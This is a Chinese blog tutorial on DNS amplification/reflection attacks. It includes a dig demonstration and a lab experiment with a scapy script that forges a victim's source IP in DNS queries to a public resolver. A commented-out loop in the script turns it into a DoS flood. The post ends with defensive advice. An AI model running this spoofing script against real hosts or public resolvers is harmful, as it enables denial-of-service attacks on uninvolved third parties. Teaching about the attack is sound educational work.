DNS放大攻击

DNS原理

可以看我写的另一篇博客:DNS解析过程

DNS 放大攻击(反射攻击)

DNS 放大攻击又叫做 DNS 反射攻击

先来看一个🌰, bash下执行以下命令:

1
dig -t ANY jd.com @223.5.5.5

该命令会使用223.5.5.5作为 DNS 服务器, 发送DNS请求来查询 jd.com 所有 DNS 类型的记录。

alt text

从图中可以看到收到的响应消息的大小为287字节

借助Wireshark抓包工具, 可以看到DNS请求大小为47字节

alt text

响应包是请求包的6.1倍

如果伪造 DNS 请求的源地址, 那么该地址就会莫名收到 DNS 服务器的响应包, 利用这个效应, 黑客可以控制自己的僵尸网络批量发起伪造源地址的 DNS 请求从而导致源地址服务器遇到DDoS攻击导致网络拥塞或中断。再打个比方解释 DNS 反射攻击:张三用多个盗来的账号在电商平台上下单了很多乱七八糟的商品, 但收货地址却是李四的, 并且填的是货到付款, 每到一个快递送货员就会打电话通知李四下楼取货并结账, 数量多了就会给李四造成不少麻烦。在这个栗子中, 张三是黑客, 电商平台就像一个 DNS 服务器, 而李四就是攻击的目标, 李四会因为收到很多快递而感到麻烦, 电商平台又会收到李四的投诉, 而张三却逍遥法外。

实验

实验环境:

  • 攻击机:192.168.31.35
  • 靶机:192.168.31.121
  • DNS 服务器:223.5.5.5 (阿里云公共域名服务器)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from scapy.all import *

# 伪造的源IP地址
source_ip = "192.168.31.121" # IP 欺诈

# DNS服务器的IP地址
server_ip = "223.5.5.5"

# 要查询的域名
domain = "jd.com"

# 创建IP头部, 设定源IP和目标IP
ip = IP(src=source_ip, dst=server_ip)

# 创建UDP头部, 设定源端口和目标端口(53是DNS服务器的标准端口)
udp = UDP(sport=RandShort(), dport=53)

# 创建DNS查询内容
dns = DNS(rd=1, qd=DNSQR(qname=domain, qtype="TXT"))

# 组装包
packet = ip/udp/dns

# 发送包
# while True: # 无限发包, DoS攻击
# send(packet)
send(packet)
  1. 攻击机抓包:

alt text

  1. 靶机抓包:

alt text

可以看到靶机收到了域名服务器返回的DNS响应包, 妥妥的无妄之灾🤨

注意:

上面2张图中, 他们能分别抓到不是发给自己的DNS响应包和DNS请求包的原因是他们处于同一个非有线网络中并开启了混杂模式

防护

  1. 对于网站服务器, 只能预防性的防范, 比如套高防 CDN 来分散攻击流量。

  2. 对于域名服务器, 应该做源 IP 认证, 丢弃伪造的源 IP 地址的请求或者返回错误响应, 比如上面的脚本中, 创建的查询类型如果为 ANY 则会返回错误响应。

参考

  1. https://www.cloudflare.com/zh-cn/learning/ddos/dns-amplification-ddos-attack/